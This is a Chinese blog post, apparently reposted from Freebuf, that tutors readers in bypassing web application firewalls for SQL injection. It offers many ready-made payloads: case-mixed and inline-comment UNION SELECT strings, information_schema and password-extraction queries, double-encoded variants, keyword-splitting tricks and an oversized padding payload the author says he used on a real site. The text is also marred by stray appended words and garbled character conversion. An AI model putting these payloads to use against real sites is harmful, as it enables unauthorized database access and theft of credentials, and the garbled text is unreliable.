這篇文章以前的名字叫作:WAF bypass for SQL injection #理論篇,我於6月17日投稿了Freebuf。連接:點擊這裏 現博客恢復,特發此處。php
Web Hacker老是生存在與WAF的不斷抗爭之中的,廠商不斷過濾,Hacker不斷繞過。WAF bypass是一個永恆的話題,很多基友也總結了不少奇技怪招。那今天我在這裏作個小小的掃盲吧。先來講說WAF bypass是啥。html
WAF呢,簡單說,它是一個Web應用程序防火牆,其功能呢是用於過濾某些惡意請求與某些關鍵字。WAF僅僅是一個工具,幫助你防禦網站來的。可是若是你代碼寫得特別渣渣,別說WAF幫不了你,就連wefgod都幫不了你…因此不能天真的覺得用上WAF你的網站就百毒不侵了。開始正題—-mysql
1>註釋符web
相信不少朋友都知道SQL的註釋符吧,這算是繞WAF用的最普遍的了。它們容許咱們繞過不少Web應用程序防火牆和限制,咱們能夠註釋掉一些sql語句,而後讓其只執行攻擊語句而達到入侵目的。sql
經常使用註釋符:安全
//, -- , /**/, #, --+, -- -, ;%00
2>狀況改變 服務器
然而,之前審計的一些開源程序中,有些廠商的過濾很不嚴謹,一些是採用黑名單方式過濾,可是有些只過濾了小寫形式,然而在傳參的時候並無將接收參數轉換爲小寫進行匹配。針對這種狀況,咱們很簡單就能繞過。工具
好比它的過濾語句是:測試
/union\sselect/g
那麼咱們就能夠這樣構造:網站
id=1+UnIoN/**/SeLeCT
3>內聯註釋
有些WAF的過濾關鍵詞像/union\sselect/g,就好比上面說的,不少時候我都是採用內聯註釋。更復雜的例子須要更先進的方法。好比添加了SQL關鍵字,咱們就要進一步分離這兩個詞來繞過這個過濾器。
id=1/*!UnIoN*/SeLeCT
採用/*! code */來執行咱們的SQL語句。內聯註釋能夠用於整個SQL語句中。因此若是table_name或者者information_schema進行了過濾,咱們能夠添加更多的內聯註釋內容。
好比一個過濾器過濾了:
union,where, table_name, table_schema, =, and information_schema
這些都是咱們內聯註釋須要繞過的目標。因此一般利用內聯註釋進行以下方式繞過:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
一般狀況下,上面的代碼能夠繞過過濾器,請注意,咱們用的是 Like而不是 =
當一切彷佛失敗了以後,你能夠嘗試經過應用防火牆關閉SQL語句中使用的變量:
id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -
即便常見內聯註釋自己沒有工做,上述的代碼也應該能夠繞過union+select過濾器。
4>緩衝區溢出:
意想不到的輸入:
咱們知道,不少的WAFS都是C語言的,他們在裝載一堆數據的時候,很容易就會溢出。下面描述的就是一個這樣的WAF,當它接收到大量數據惡意的請求和響應時。
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+
上面的bypass語句,我在最近的一個網站繞過上用到了。
5>替換關鍵字(preg_replace and/or都能達到相同目的):
有時程序會刪除全部的關鍵字,例如,有一個過濾器,他會把union select變成空白,這時咱們能夠採用如下方式進行繞過:
id=1+UNIunionON+SeLselectECT+1,2,3–
不難明白吧?union和select變成空白了,兩邊的又會從新組合成新的查詢。
UNION+SELECT+1,2,3--
6>Character編碼:
有些狀況下,WAF對應用程序中的輸入進行解碼,可是有些WAF是隻過濾解碼一次的,因此只要咱們對bypass語句進行雙重編碼就能將其繞過之。(WAF解碼一次而後過濾,以後的SQL語句就會被自動解碼直接執行了~)
雙重編碼bypass語句示例:
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
一些雙重編碼舉例:
單引號:' %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 空白: %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0 左括號(: %u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8 右括號): %u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9
7>綜合:
繞過幾個簡單的WAF以後,後面的任務也愈來愈容易了~下面說幾種方法來繞過你的目標WAF。
7a>拆散SQL語句:
一般的作法是:須要把SQL注入語句給拆散,來檢查是哪一個關鍵字被過濾了。好比,若是你輸入的是union+select語句,給你報了一個403或內部服務器錯誤,什麼union不合法什麼的,就知道過濾了哪些了,也是常見的Fuzzing測試。這是製造bypass語句的前提。
7b>冗長的報錯:
當你的sql語法輸入錯誤時、對方網站又沒關閉錯誤回顯的時候,會爆出一大堆錯誤,在php中更會爆出敏感的網站根目錄地址。aspx則會爆出整個語法錯誤詳細信息。
好比你輸入的語法是:
id=1+Select+1,2,3--
會給你報出如下錯誤:
Error at line 1 near " "+1,2,3--
上面也說過了黑名單方式過濾,也能夠採用如下方式進行繞過:
sel%0bect+1,2,3
這只是衆多方法之一,繞過不一樣WAF須要不一樣的bypass思路。
8>高級bypass技巧:
正如前面所說的,當你嘗試着繞過幾個WAF以後,你會以爲其實他並不難,會感受到頗有趣,頗有挑戰性 :b ,當你在注入的時候發現本身被WAF以後,不要想要放棄,嘗試挑戰一下,看看它過濾了什麼,什麼語法容許,什麼語法不容許。固然,你也能夠嘗試暴力一些,就把它當成inflatable doll, [;:{}()*&$/|<>?"'] 中括號裏的這些特殊字符不是留着擺設的撒~能報個錯出來都是頗爲自豪的,騷年,你說對不對?
可是,若是你試了N個語句,都tm被過濾了,整我的都快崩潰了,該怎麼辦?很簡單,打開音樂播放器,放一首小蘋果放鬆一下。而後把WAF過濾的東東所有copy下來,仔細分析!俗話怎麼說來着,世上無難事,只怕有心人。
舉例來講,好比你分析到最後,發現全部的*都被換成空白了,就意味着你不能使用內聯註釋了,union+select也會給你返回一個403錯誤,在這種狀況下,你應該充分利用*被替換成空白:
id=1+uni*on+sel*ect+1,2,3--+
這樣的話,*被過濾掉了,可是union+select被保留下來了。這是常見的WAF bypass技巧,固然不只僅是union+select,其餘的語法被過濾了均可以採用這種的。找到被替換的那個關鍵字,你就能找到繞過的方法。
一些常見的bypass:
id=1+(UnIoN)+(SelECT)+ id=1+(UnIoN+SeLeCT)+ id=1+(UnI)(oN)+(SeL)(EcT) id=1+'UnI''On'+'SeL''ECT' <-MySQL only id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
注意:在mysql4.0種,UNI /**/ON+SEL/**/ ECT是沒辦法用的。
結語:WAF的姿式取決於你思惟的擴散,自我感受在WAF bypass的過程當中能找到不少樂趣,不是嗎?更多姿式歡迎pm我。
推薦幾本SQL注入與Web安全方面的書:
《PHP Security》 這一本適合PHP開發人員閱讀